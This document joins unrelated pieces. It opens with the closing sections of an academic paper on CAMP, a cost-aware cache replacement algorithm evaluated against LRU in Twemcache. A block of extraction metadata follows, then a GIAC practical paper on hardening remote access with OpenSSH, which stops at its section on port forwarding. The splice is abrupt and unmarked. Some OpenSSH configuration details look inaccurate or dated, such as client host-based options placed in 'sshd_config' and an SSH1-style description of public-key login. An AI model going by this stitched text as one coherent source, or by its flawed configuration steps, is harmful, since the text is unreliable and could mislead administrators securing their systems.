We developed an application that implements the request generator of Section 3 by reading a trace file and issuing requests to the KVS using Whalin client version 2.6.1 [22]. We used the trace file with synthetic costs of \{1, 100, 10K\} per discussions of Section 3. Figure 9a shows the observed cost-miss ratio with LRU and CAMP as a function of different cache size ratios. CAMP incurs a significantly lower cost for the missing keys with smaller cache sizes. This difference becomes smaller with larger cache sizes because the KVS miss rate drops. These results are consistent with those reported in Section 3.
Figure 9b shows the amount of time required to run the trace with both LRU and CAMP. It includes the following: (1) the time for either LRU or CAMP to process a cache hit and to make replacement decisions when the memory is exhausted; (2) the time to transmit a key-value pair across the network (with both a cache hit and a cache insert); and (3) the time to copy a key-value pair across the different software layers. The results show that CAMP provides response times comparable to those of LRU. If the cost was included in the
reported response times, CAMP would have been significantly faster than LRU, resembling the results reported in Section 3. Here, we wanted to show results that demonstrate that an implementation of CAMP is as fast as LRU while ignoring the cost associated with keys.
With both CAMP and LRU, the run time decreases as a function of cache size. The explanation for this is as follows. A get($k_i$) that observes a miss is followed by a set($k_i,v_i$). With a small cache size that is full, the set operation must evict one or more existing key-value pairs and write the new $k_i$-$v_i$ in the cache. This write operation requires copying of the $k_i$-$v_i$ from the network buffer into the memory of the cache manager. A larger cache size reduces the number of such operations because a higher percentage of get($k_i$) operations observe a cache hit, see Figure 9c. This explains why the run time improves with both LRU and CAMP using a larger cache size. This also explains why CAMP provides a faster response time than LRU for those cache sizes that provide a lower miss rate, i.e., cache ratio of 0.01.
4.1 Discussion
CAMP is suitable for use with multi-core processors as it minimizes the delay incurred with concurrent threads racing with one another to read and write CAMP’s data structures. Several features of CAMP enable it scale vertically. First, it only updates its heap data structure (which requires synchronized access) when the head of a LRU queue changes value instead of per eviction. Second, different threads may update different LRU queues simultaneously without waiting for one another. Finally, CAMP may represent each LRU queue as multiple physical queues and hash partition keys across these physical queues to further enhance
concurrent access.
CAMP can be extended with use with a hierarchical cache (using SSD, disk, or both) which may persist costly data items. With any finite cache size, should the data set size exceed the cache size, an algorithm must make an eviction decision. CAMP systematically renders such decisions by considering size and cost of key-value pairs, and recency of references with a two level cache.
5 Related Work
Management of KVS memory space must address two key questions: First, how should memory be assigned to a key-value pair? Second, what key-value pairs should occupy the available memory? In the context of online algorithms that manage memory, the second question must identify what key-value pair should be evicted when there is insufficient space for an incoming key-value pair. CAMP provides an answer to this question. Below, we survey the state of the art and describe how CAMP is different.
LRU-K [19], 2Q [11], and ARC [17] are adaptive replacement techniques that balance between the recency and the frequency features of a workload continuously, improving cache hit rate for fix sized disk pages with a constant cost. CAMP is different in that it considers both the size of a key-value pair and its cost. CAMP is an efficient implementation of the GDS algorithm [4], visiting a significantly fewer number of heap nodes than GDS, see the discussion of Figure 4 in Section 2.
Similar to CAMP, GD-Wheel [14] strives to enhance the efficiency of GDS. There are, however, some significant differences in approach. GD-Wheel rounds the overall priority for each key-value pair instead of the cost-to-size ratio which makes it difficult to evaluate the cost of approximation. The GD-Wheel study does not give a direct comparison between GD-Wheel and GDS. With CAMP we are able to give well-defined guarantees on the competitive ratio of CAMP relative to GDS. Moreover, GD-Wheel does not address how to select their precision parameter $N$ or give an empirical characterization of performance as a function of precision. Finally, GD-Wheel must implement occasional migration procedures wherein all the key-value stores within a GD-Wheel are migrated to the next level. CAMP does not require such a migration step as it uses the cost-to-size ratio as the basis of the rounding scheme (which does not change while a key-value pair is in the cache).
While deciding how space should be assigned (answer to the first question) is a different topic, there are implementations that strive to answer this question in combination with a replacement technique. For example, the memory used by a Twemcache server instance is managed internally using a slab allocation system [3] in combination with LRU. Below, we describe this technique and how it is different than CAMP.
Twemcache divides memory into fix sized slabs (chunks of memory), the default size being 1 Megabyte. Each slab is then assigned a slab class and further sub-divided into smaller chunks based on its slab class. For example, a slab class of 1, the smallest size, would have a chunk size of 120 bytes. This means that a single slab of class 1 can fit 8737 (1 MB / 120 byte) chunks. Every subsequent higher slab class uses chunk sizes that are approximately a factor of 1.25 larger. So, a slab class of 2 accommodates 6898 chunks each 152 bytes in size. This slab class stores key-value pairs whose size is between 120 and 152 bytes. The largest
slab class uses a chunk size that accommodates the entire slab.
When storing a key-value pair, $k_i-v_i$, the server identifies the size required to store $k_i-v_i$ along with some meta-data header information. The memory allocation attempts the following steps, proceeding in order until it is able to satisfy the allocation request:
1. Replace an expired key-value of the smallest slab class that can accommodate the entire $k_i-v_i$.
2. Find a free chunk within allocated slabs of that slab class.
3. Allocate a new slab to the matching slab class and assign one of the chunks.
4. Evict an existing key-value pair using LRU and replace its contents.
A limitation of the slab allocation system is that, once a slab has been allocated to a particular slab class, it will forever maintain its class assignment. The consequence of this rigid assignment is that it may prevent future requests from storing key-value pairs in the KVS. For example, a certain workload may assign all slabs to the slab class 1 (120 bytes). Subsequently, the workload may change and require chunks of slab class 5 (304 bytes). Since all slabs were already assigned to slab class 1, all requests to store key-value pairs with a slab class of 5 fail. This phenomenon is termed slab calcification and causes a KVS using slab based allocation to under-utilize its available memory.
Twemcache attempts to resolve this calcification limitation by randomly evicting a slab from another class if it is unable to allocate an item. This approach may evict potentially hotly accessed items, impacting the cache hit rate adversely. Additionally, the random slab eviction does not deal with the case when a disproportionately small number of slabs are assigned to the needed slab class. To illustrate, assume only one slab was assigned to the slab class 5 (0.1% of total memory) and the workload changes such that key-value pairs corresponding to slab class 5 are referenced much more frequently. All the requests have to compete for chunks in the single slab whereas the remaining cache space is now under-utilized. Since key-value pairs can still be allocated, the random slab eviction does not activate to free up more slabs.
One may address the calcification limitation by separating how memory should be allocated for the key-value pairs from the online algorithm that decides which key-value pairs should occupy the available memory. For example, with a memcached implementation, one may use a buddy algorithm [8] to manage space in combination with CAMP (or LRU). With those caches that run in the address space of an application (e.g., JBoss, EhCache, KOSAR), the memory manager of the operating system may manage space for instances of classes that serve as values for application specified keys. With these, one may use CAMP to decide which key-value pairs occupy the available memory.
6 Conclusion and Future Research
We have presented a new efficient implementation of GDS called CAMP. CAMP takes advantage of rounded priority values so that the underlying data structure selects a key-value pair for eviction very efficiently. Moreover, we have shown that on typical access patterns, there is no degradation in performance due to loss in precision of the priority values. CAMP outperforms LRU as well as Pooled LRU in the overall cost of caching key-value pairs in a sequence of requests in which the cost to access different key-value pairs vary dramatically.
The implementation of CAMP in IQ Twemcache shows that the overhead in implementing replacement decisions is as efficient as LRU.
Our short term research plans include examining the performance of CAMP in a wider variety of settings. It would be particularly interesting to test the performance of CAMP on real trace data and in realistic deployments. Another important direction to explore is the use of admission control policies in conjunction with CAMP that also considers variations in key-value sizes and costs. This should enhance the performance of CAMP by not inserting unpopular key-value pairs that are evicted before their next request.
More longer term, we are extending CAMP for use with a hierarchical cache (using SSD, hard disk, or both). This includes an investigation of environments that require CAMP to manage both key-value pairs that pertain to the result of computations and fix sized disk pages used by the computations. We are also investigating a decentralized CAMP in the context of a cooperative caching framework such as KOSAR [15]. A challenge here is how to maintain a last replica of a cached key-value pair without allowing those that are never accessed again to occupy the KVS indefinitely.
References
[20] Rajashekar, M., and Yue, Y. Twitter memcached (Twemcache) is version 2.5.3, https://github.com/twitter/twemcache/releases/tag/v2.5.3.
|
{"Source-Url": "http://dblab.usc.edu/Users/papers/CAMPTR.pdf", "len_cl100k_base": 12426, "olmocr-version": "0.1.53", "pdf-total-pages": 22, "total-fallback-pages": 0, "total-input-tokens": 54803, "total-output-tokens": 14765, "length": "2e13", "weborganizer": {"__label__adult": 0.0003101825714111328, "__label__art_design": 0.0003170967102050781, "__label__crime_law": 0.0003559589385986328, "__label__education_jobs": 0.0006422996520996094, "__label__entertainment": 0.00010067224502563477, "__label__fashion_beauty": 0.0001628398895263672, "__label__finance_business": 0.0004565715789794922, "__label__food_dining": 0.0003504753112792969, "__label__games": 0.0005908012390136719, "__label__hardware": 0.0017309188842773438, "__label__health": 0.000560760498046875, "__label__history": 0.0003464221954345703, "__label__home_hobbies": 8.982419967651367e-05, "__label__industrial": 0.0004761219024658203, "__label__literature": 0.00025010108947753906, "__label__politics": 0.0002918243408203125, "__label__religion": 0.00042724609375, "__label__science_tech": 0.119873046875, "__label__social_life": 7.843971252441406e-05, "__label__software": 0.0233306884765625, "__label__software_dev": 0.8486328125, "__label__sports_fitness": 0.0002338886260986328, "__label__transportation": 0.0004134178161621094, "__label__travel": 0.0002313852310180664}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 57770, 0.04368]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 57770, 0.50849]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 57770, 0.9025]], "google_gemma-3-12b-it_contains_pii": [[0, 2436, false], [2436, 6311, null], [6311, 9780, null], [9780, 11655, null], [11655, 15530, null], [15530, 18975, null], [18975, 19129, null], [19129, 22821, null], [22821, 26490, null], [26490, 29100, null], [29100, 32917, null], [32917, 33055, null], [33055, 34452, null], [34452, 38282, null], [38282, 40867, null], [40867, 40948, null], [40948, 44433, null], [44433, 46186, null], [46186, 49612, null], [49612, 53057, null], [53057, 55990, null], [55990, 57770, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2436, true], [2436, 6311, null], [6311, 9780, null], [9780, 11655, null], [11655, 15530, null], [15530, 18975, null], [18975, 19129, null], [19129, 22821, null], [22821, 26490, null], [26490, 29100, null], [29100, 32917, null], [32917, 33055, null], [33055, 34452, null], [34452, 38282, null], [38282, 40867, null], [40867, 40948, null], [40948, 44433, null], [44433, 46186, null], [46186, 49612, null], [49612, 53057, null], [53057, 55990, null], [55990, 57770, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 57770, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 57770, null]], "pdf_page_numbers": [[0, 2436, 1], [2436, 6311, 2], [6311, 9780, 3], [9780, 11655, 4], [11655, 15530, 5], [15530, 18975, 6], [18975, 19129, 7], [19129, 22821, 8], [22821, 26490, 9], [26490, 29100, 10], [29100, 32917, 11], [32917, 33055, 12], [33055, 34452, 13], [34452, 38282, 14], [38282, 40867, 15], [40867, 40948, 16], [40948, 44433, 17], [44433, 46186, 18], [46186, 49612, 19], [49612, 53057, 20], [53057, 55990, 21], [55990, 57770, 22]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 57770, 0.03529]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
aed10a15245e6db0cd4eb5c082ddd1623c55e0ba
|
A practical guide to OpenSSH
GIAC Certification
GIAC Security Essentials Certification Practical
Olivier De Lampugnani
Version 1.4b (Option 1)
December 2003
Table of Content
Table of Content ................................................................................................................2
Abstract ..............................................................................................................................3
Introduction .......................................................................................................................3
SSH protocol ......................................................................................................................4
Using OpenSSH ................................................................................................................4
Host authentication ..........................................................................................................5
Password authentication .................................................................................................7
host-based authentication ............................................................................................7
Public key authentication ...............................................................................................9
File Transfer ..................................................................................................................12
Forwarding .......................................................................................................................13
Debugging ........................................................................................................................16
Conclusion .......................................................................................................................16
References .......................................................................................................................18
Abstract:
The aim of this paper is:
- to provide system administrators who might not be aware of the security threat of using telnet, ftp and r-commands with a solution using OpenSSH to mitigate the risk.
- to convince system administrators who may already be aware of SSH but still do not use it because they find it inconvenient, or because they lack necessary knowledge
- to use it.
- to bring them tips and techniques for every day life in an encrypted world.
- to cover many of the different problems that come with OpenSSH.
The intent is not to provide a step by step guide on how to implement SSH on all the UNIX flavors, but rather provide a part of my experience on the path to a secure remote shell environment.
Through reading this paper you will see that OpenSSH provides you with a powerful environment that needs to be fully understood in order to take advantage of its security added-value.
This paper is based on OpenSSH. OpenSSH was chosen for two main reasons: it is available on many operating systems and it is free. You should be aware that other products exist which will have more or less the same capabilities.
Introduction:
The use of clear text services such as Telnet, FTP and R-commands has been identified by the SANS Institute as number five in the most commonly exploited vulnerable services in Unix in the 2003 Twenty Most Critical Internet Security Vulnerabilities [1]. These services are generally installed and enabled by default on most UNIX flavors. They transmit unencrypted data over the Network, allowing sniffing of credentials and session hijacking.
Some clear text protocols have a secure version, like HTTP with HTTPS, or can be encapsulated in another encrypted channel through SSL wrappers or SSH tunneling, for example POP, IMAP and SMTP. Telnet, FTP and RSH (standing for Remote Shell) have their secure substitute in SSH (standing for Secure Shell). SSH is a protocol, and also a program created by Tatu Ylönen.
Two versions exist; SSH1 and SSH2, which are incompatible one with each other. The last freely available version is 1.2.12 which is now commercialized under the brand ssh.com from Tatu Ylönen.
SSH1 and SSH2 are two entirely different protocols. SSH2 is a complete rewrite of the protocol with improvements to security and performance. It is strongly recommended to avoid using SSH1 unless there is no alternative.
A version of SSH is available, under GPL (GNU Public License), from the OpenBSD Team project under the name of OpenSSH. OpenSSH is developed for OpenBSD and has been ported to all other UNIX and Linux flavors, as well as under Windows through Cygwin.
OpenSSH is a suite of tools including: a server (sshd) and a client (ssh) equivalent to telnet and rlogin; scp, an equivalent to rcp; a secure ftp server (sftp-server) and client
(sftp); and some key management utilities: ssh-keysign, ssh-keyscan, ssh-keygen, ssh-add and ssh-agent.
All these utilities will be described in more detail later into this document.
**SSH protocol**
As SSH1 and SSH2 are two entirely different protocols, these two protocols are totally incompatible.
This document only covers the latter, as SSH1 was never standardized and SSH2 was conceived with security as a fundamental aspect. It has been standardized through the Internet Engineering Task Force (IETF) [2].
SSH version 2 protocol is a layered architecture made of three layers. Each layer has its own role in the SSH communication.
The Transport layer is set up at the session initiation during the establishment of the encrypted channel. It will assume such tasks as: host authentication, key exchange, compression, encryption, and data integrity.
Once the encrypted channel is established, the integrity and confidentiality of the communication are assured, and the User authentication layer can be put in place. This layer is responsible for the different user authentication methods such as Password, Hostbased, or Public key. Once the user is granted access rights, the Connection Layer can be established to provide interactive login session, file transfer and forwarding.
Caution: By default OpenSSH will initiate the session using SSH2 protocol but if it fails for whatever reason it will switch to protocol version 1. It is possible to prevent this switch using the OpenSSH configuration.
To do so change the option “Protocol 2,1” to “Protocol 2” in the configuration file “sshd_config”.
**Using OpenSSH**
To connect to a remote system with OpenSSH it can be as simple as with telnet. For example, the following command:
```
ssh –l <UserID> <Remote_system_hostname>
```
will simply prompt you for a password.
In doing this, you will be connected in exactly the same way as with telnet, except that no credentials have been transmitted in clear text over the network. Anybody with a Network Analyzer tool listening to the communication will only see nonsense character chains.
But does this mean that the communication channel is secured? The answer is no.
What happens if a attacker inserts himself in the middle of the communication and makes you think you are directly connected with your server?
This is called a Man in the Middle attack (MITM), and don’t think it’s Science Fiction.
Sshmitm, a tool from the “dsniff” [3] program suite, is exactly designed for this purpose.
In fact this is not strictly correct as sshmitm only deals with the SSH version 1 protocol, but this does not mean that it is impossible to insert in the middle of the communication. SSH provides you with a way to protect against the MITM attack through the establishment of a secure connection, data encryption of the traffic and also ensures data integrity.
Host authentication
The secure connection begins with host authentication, and is performed using a pair of public and private host keys. The private one will be used by the SSH remote server. The public one will serve all the other machines that connect to this remote server.
Three separate host keys should have been provided to you during the sshd daemon installation. You can also generate the host keys by running the following commands as root:
/usr/local/bin/ssh-keygen -t rsa1 -f /etc/ssh/ssh_host_key -N ''
/usr/local/bin/ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -N ''
/usr/local/bin/ssh-keygen -t dsa -f /etc/ssh/ssh_host_dsa_key -N ''
The first one will generate an RSA key pair for connections over the SSH Version 1 protocol. The other two will generate RSA and DSA key pairs respectively for connections over the SSH version 2 protocol. Caution: the private “host key” is by definition private. You should take particular care to protect it and monitor access to this file against unauthorized persons as this key cannot be protected by a pass-phrase. An attacker with a valid key pair will be able to successfully mimic your remote server. The public host keys will serve to verify the authenticity of the SSH daemon you are connecting to. You do not need to pay special attention to protect it.
At each connection attempt to your SSH remote host the server will provide its public key for verification with the one cached on the client side in the “known_hosts” file. This file is located in the .ssh subdirectory under the client home directory for a per client configuration or under the directory where the SSH configuration files are stored for a per server configuration. If the client does not have a copy of the server host key the connection is suspended. The client is required to verify that the provided key is really the one that belongs to the server you want to connect to. For that the client will be provided the key fingerprint of the server public host key in order to compare it with the one really installed into the server. To get this fingerprint from the remote SSH server if you are the system administrator issue one of the following commands, depending on the protocol and the type of key you are using:
ssh-keygen –l –f /etc/ssh/ssh_host_key
ssh-keygen –l –f /etc/ssh/ssh_host_rsa_key
ssh-keygen –l –f /etc/ssh/ssh_host_dsa_key
Otherwise you should contact your system administrator who should provide you a way to get it in a safe way. In all cases do not accept the remote server public host key unless you have verified that you can trust it.
Once you have verified that you have a matching fingerprint you can continue the connection. The server key will now be permanently added to the client list of known hosts (the "known_hosts" file).
The complete message will be similar to this:
```
bash-2.05b$ ssh 192.168.121.134
The authenticity of host '192.168.121.134 (192.168.121.134)' can't be established.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.121.134' (RSA) to the list of known hosts.
User1@192.168.121.134's password:
```
The entry in the "known_hosts" file will appear as follows:
```
192.168.121.134 ssh-rsa
AAAAAB3NzaC1yc2EAAAABlwAAAI7hsHxMvne7muXqIGlyRkfdpAJhKYicLwI9EEaLcksrq3Th2AR5iUh7fOL1d22ag36Ghhx+kGJ4qPD0952D0KhRv6pIH4vutXbl89Ww9n9cbHmvxR+rw43ZxDW8t94d7Q7EWlAA9EZFOZkWr8hpUmSYUHGDwKctcZf6QNOpE=
```
Once this is done the host authenticity verification at each connection will be processed in the background and will be transparent for the user, except if public key does not match anymore. If this happens the user will be warned that an error has occurred and the connection will be aborted except if you have specified the otherwise in the client "ssh_config" file. This is done by changing the default value of the "StrictHostKeyChecking" option to "no".
The message will appear as follows:
```
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the RSA host key has just been changed.
The fingerprint for the RSA key sent by the remote host is
Please contact your system administrator.
Add correct host key in /home/user1/.ssh/known_hosts to get rid of this message.
Offending key in /home/user1/.ssh/known_hosts:21
RSA host key for 192.168.121.134 has changed and you have requested strict checking.
Host key verification failed.
```
If you get this message take particular care of what you do next. Do not modify your ~/.ssh/known_hosts file until you are sure that nothing is wrong. This message could simply mean that the system administrator of the remote host has changed the host key pair for some reason. It could also mean that some ill-intentioned person is trying to get your credentials, or trying to insert into your connection as a man-in-the-middle. In this case you should refer to your security policy for guidance on how to react according to your corporate rules.
This phase is very important. This is the reason that you should not set the “StrictHostKeyChecking” option to “no”, because you could potentially miss this warning message and the communication will continue. If you do not pay attention you could get into a full compromise of the whole session, as the data encryption begins at this point.
The server and the client will choose the symmetric key algorithms, IDEA, 3DES, blowfish, DES and AES; the first that matches in their lists. The client will use the remote known server public key to encrypt the “session keys” that will be used to encrypt and decrypt the data with the algorithms chosen below. The remote server will then decrypt the “session keys” using its private host key and will reply to the client a standard message encrypted with the “session key”. Once the session keys have been exchanged they can initiate two secure channels; one for transmission and one for reception, using separate session keys. The remote server is the only one that can decrypt the message containing the “session keys”, unless someone has managed to steal its key. The client can be sure that it is talking with the right server.
Now that the communication is safe we can go further with the authentication.
**Password authentication**
The default type of authentication has already been mentioned above, and it is telnet-like. You have only to provide your standard userid on the system and its associated password. This method is secure as long as you have implemented a strong password policy, in order to avoid any blank passwords, or passwords equal to userids. You can enforce this authentication mechanism using Kerberos 5 authentication on the remote server, as there is a patch available for OpenSSH to support GSSAPI [4]. Disabling remote access by root is also recommended as this will enforce full user identification and authorization. Additionally this can also prevent root access in the case of a compromise of the credentials. You can disable remote root access by adding “PermitRootLogin no” in the configuration file of the SSH server daemon “sshd_config” located in the config files directory.
**host-based authentication**
Another authentication method that could be implemented is only based on the hosts that connect, delegating the responsibility of user authentication to the client system. This is host-based authentication.
Historically SSH was developed to securely replace r-commands such as rsh, rlogin and rcp, so in the first implementation of SSH it was possible to implement this kind of authentication exactly as it was implemented with R-commands and files, using /etc/rhosts or ~/.rhosts, without verification of the remote host except by its IP address. A slight variation based on files /etc/hosts.equiv and /etc/shosts.equiv could be used instead of a per user configuration in ~/.rhosts. This was only available in SSH version 1 and highly vulnerable to spoofing. It has now been removed from the OpenSSH release. The problem of IP spoofing has been mitigated in SSH version 2 by hardening the verification of the trusted host authenticity.
This is performed by adding a private and public host key verification of the client. Briefly in SSH version 2 it is now performed as follows:
The client initiates the connection. The host authenticity verification mechanism, as described above in the password authentication, takes place. If this is successful the client will then negotiate with the server a host-based authentication. This is not enabled by default it has to be configured on both the server side and on the client. If the server accepts then it will check in the /etc/hosts.equiv like file or in ~/.rhosts like file for an entry that matches the client host and user. If verified, the client will send a signature created with its own private host key through the ssh-keysign program. The server will compare it to the one stored at configuration in the file "ssh_known_host" or "~/.ssh/known_hosts". It will also crosscheck the hostname associated to this host key in his server known host list to the one provided by the client. If these match, the remote access is granted.
If host-based authentication fails it will switch to another available authentication method. As this method of authentication is only based on a trust relationship between the client and the server it will never be as secure as password authentication.
In any case this can be useful in certain circumstances, for example in a clustered environment when you use some monitoring management software or some failover script that requires a user to be able to login to remote computer in the node without a prompt for a password.
In this particular case care should be taken in hardening the client security. Otherwise you could get into a full compromise of your whole environment.
Caution: Use Host-based authentication only when the client and server systems are both in the same trusted environment, otherwise I highly recommend to consider public key authentication, which is discussed later in this document, before taking any decision.
As this kind of authentication is not enabled by default, some configuration is needed on the client and on the server in order to ensure maximum security.
Implementing host based authentication
Client side configuration:
First, you should have a valid key pair of private and public “host keys”. If these are not available see the password authentication section for how to generate a valid key pair.
Enable the host-based authentication by setting the “HostBasedAuthentication” and “EnableSSHKeysign” options to “yes” in the “sshd_config” file located in the OpenSSH configuration files directory or in the user .ssh subdirectory.
Server side configuration:
First, you should define which users will be able to logon using host-based authentication. These users must exist with the same username on both machines. In this way only users on the client host that can be matched to the same username on the remote server will be granted access. Append the client hostname or IP address in the /etc/hosts.equiv or /etc/shosts.equiv depending on you preferences. These files will allow the configuration to be performed for the whole server as opposed to the RSH equivalent using the ~/.rhosts or ~/.shosts files which will allow a per user configuration. Avoid using association between client systems userid and hostname in these files as this will enable the specified client userid to log as anybody on the remote server. For more information on using these files see the “hosts.equiv” man pages [5].
Next, you should add the client public host key and its associated fully qualified domain name to the server known host list. The server “known host” file can be a global or a per user configuration, using respectively “ssh_known_hosts” and “~/.ssh/known_host”.
Lastly, you should prepare your SSHD server daemon. In the “sshd_config” file set the “HostBasedAuthentication” option to yes in order to enable host-based authentication. If you want to base your authentication only on the /etc/hosts.equiv like file set the “IgnoreRhosts” option to “yes”. If you want to avoid the server to look into the users known host file instead of the global server one set the “IgnoreUserKnownHosts” option to “yes”.
Restart the SSHD daemon and you are ready.
Public key authentication
The third method of authentication that can be implemented is based on asymmetric cryptography; RSA or DSA depending on your preferences. As far as I know there are no big differences of efficiency between RSA and DSA. This is called Public key authentication.
In the password authentication you still need to send your secret password to the remote host but over an encrypted channel as opposed to public key authentication where no passwords circulate at all.
Instead the remote system will grant you access according to if you are able to prove you are the one you pretend to be. The private key is owned by the client and the public key is distributed on each remote server on which you need to be authenticated. The session initiation is still handled in the same way as for the other authentication methods. Once done the authentication method starts.
The user sends the user name he wants to connect with and the associated public key to the remote server. The server will search for the provided user public key in the "authorized_keys" file located under the subdirectory .ssh in the home directory of the user he wants to connect to. If that matches, and no particular restriction is implied in this file, the process can continue.
Now the remote server generates a random number, puts it in a message, encrypts it using the public key provided before, and sends it to the client.
The client in order to prove he has the private key has to decrypt the message, get the random number and send it as an answer to the server. If the server recognizes the random number the access is granted without any prompt for a password.
Being authenticated without providing a password can be convenient for a user but it means that if someone manages to get read access to the private key of the user he will be able to get the same rights as the user.
The private key of the user will appear as a jewel for an attacker and you never leave your jewels easily available to anyone. Instead you protect them in a safe.
To protect your safe from being opened by anybody you will chose a particularly difficult key code. In our case it is the same, but with a passphrase instead of a key code.
As you will choose a difficult key code for your safe you will have to find a passphrase that is hard to guess to protect your key but it also has to be easy for you to remember. Otherwise you are tempted to write it down somewhere in order to avoid forgetting it. If you lose it you will have to regenerate your key and redistribute it to all your target machines.
A good approach to help you find a good passphrase is the Shocking Nonsense approach explained in the Passphrase FAQ [6].
Similarly another important parameter to protect is the length of your key. It could be compared to the armor of the safe.
By default when you generate your key pair it uses a length of 1024 bits. This is considered as sufficient in most cases but you might want to use a stronger one for particularly sensitive keys.
Be aware that it will decrease the performance of the public key operation. A good source of information on choosing key length is to be found on the RSA security site [7].
To generate your key pair you can use the ssh-keygen program on any machine. If you generate them on a system different to the one that will really use it ensure that all transfers are performed securely and that the private keys are stored safely.
**Implementing Public key authentication**
Generate your key pair.
For this you will have to use the ssh-keygen command.
Issue `ssh-keygen -t rsa` or `-t dsa` depending on your preferences.
If you want to enforce the key length to 2048 instead of 1024 (the default value) simply add `-b 2048`.
You will be prompted for the filename where the key will be saved. By default it is "id_rsa" for an RSA based key and "id_dsa" for a DSA one. They are located the .ssh subdirectory of the home directory of the user.
You can also define the name and the path you want. If you choose something different to the default you will have to declare it in the client "ssh_config" file with the option "IdentityFile", followed with the full path to the key.
Next you will be prompted for your passphrase. Do not use an empty passphrase. Choose one that you are comfortable with as explained above.
Once you have your key pair generated distribute it to the remote servers you wish to be authenticated on in the file “authorized_keys” located under the subdirectory .ssh of the home directory of the user you want to be authenticated as.
The format of the “authorized_keys” is as follows:
Each key entry must be placed in the same line and is composed of four different fields. The first field is for the option where you can specify restrictions to the user associated with the key. These restrictions can be set on host or domain login restriction, command restriction, environment variables, port forwarding, and more. See the man pages of sshd for a complete description [8].
The next two fields are specific key fields. The last one is for the comment that can be added at the creation of the key. This may help identifying users and associated keys in the case that you have multiple users login to the same remote account.
You are now ready to use the public key authentication. If everything is correctly set up you will be prompted for a passphrase each time you connect using your private key. This could quickly become tiresome if you have to connect to multiple systems. You might be tempted to take a step back and remove your passphrase. Do not do so. I highly recommend considering the ssh-agent program that can be considered as a kind of Single Sign On.
With the ssh-agent program you can load your credentials into the memory of your system using the ssh-add program. You will be prompted for your passphrase and that will be all for your local sessions. Then each time you connect to your remote host using public key authentication the ssh-agent will reply for you without any new prompt for a passphrase.
To use the ssh-agent facility just launch the ssh-agent command. It will start the agent in the background and provide you two environment variables: “SSH_AUTH_SOCK” and “SSH_AGENT_PID”. These must be exported to your local system environment in order to allow other applications to talk with ssh-agent. The problem with this is each time you start a new terminal on your local system you will have to export these variables. A simple workaround to this problem is to let the agent start your X session. This way all applications will be able to talk with the ssh-agent and the agent will end at the session logout.
To load your key into the agent use the ssh-add command followed by the path to the private key file you want to be loaded. By default it will load all the keys located in the .ssh subdirectory of the user that launches the command. You will simply be prompted for your passphrase.
You can now connect to your remote SSH server without a prompt, except if your public key is not listed in the “authorized_keys” file of the remote user you want to connect to, in which case you will switch to the password authentication where you will have to provide the standard password for the user.
One main problem that appears when you load your key into ssh-agent is that the key is now left unencrypted somewhere in the system. There are some things that you can do to mitigate this risk.
First you can set a lifetime for your key when you load it using the “-t” option of the ssh-add command followed by the number of seconds you want your key active in the ssh-agent. This way once the lifetime expires your key is unloaded from the system. The
most important thing to understand about ssh-agent is that it should only be used on a machine where you could guarantee a high level of security.
OpenSSH is a powerful program that provides different and convenient ways to connect to a remote host securely, but handled in the wrong way it can be more or less the same thing as continuing using R-commands.
Now that you are aware of how to connect, let’s have a look at the functionalities provided by OpenSSH.
File Transfer
scp
As well as providing a way to get a secure remote shell on a remote machine with OpenSSH you can also transfer files in a secure way between a client and a remote server, or between two remote servers. This can be done with the scp command that securely replaces rcp with all the benefits of SSH discussed above, such as user authentication, host authentication, data encryption, and data integrity.
I will not cover the usage or give examples of the scp command as you will find it well documented in the man pages [9].
sftp
Another well known way to transfer files over the internet that is recognized to be insecure is FTP. OpenSSH provides a secure substitute with SFTP, and it obviously does not support Anonymous login. It works as a subsystem of SSH and can be interpreted as an FTP front-end to SSH commands. In OpenSSH you will have to enable it by adding the following line in the “sshd_config” file: “Subsystem sftp <Path to your sftp-server program>” or if you know the path to the sftp-server subsystem on the remote host you can use the sftp client with the –s option in addition to the path of the remote sftp-server.
rsync
Another interesting solution to transfer files from a client machine to a remote SSH server is rsync. Rsync is a tool designed to transfer files in an efficient way by synchronizing only the pieces of the file that have changed since the last synchronization, rather than transferring the whole file as with SFTP or SCP. The most important point is that it is designed in such a way that it can use all the SSH capabilities. It can also transfer a whole directory, preserve their properties, can be easily scripted and does not require any special privileges to install. All of this makes rsync the ideal solution for backup or file synchronization over slow network links. For example, a simple rsync command using SSH could be:
```bash
rsync -e ssh user1@server.example.com:/home/user1/data /backup/user1/data
```
A good idea before any such file transfer is to do a dry run using the –n option in order to avoid any mistakes.
**Forwarding**
In SSH, port forwarding enables you to give additional security to an application that was not originally designed to be secure. SSH provide you a way to redirect TCP/IP traffic from one port on the client machine through the encrypted channel of the SSH session and redirect it to the specified port on the remote SSH server. In order to make forwarding work an interactive session must be established.
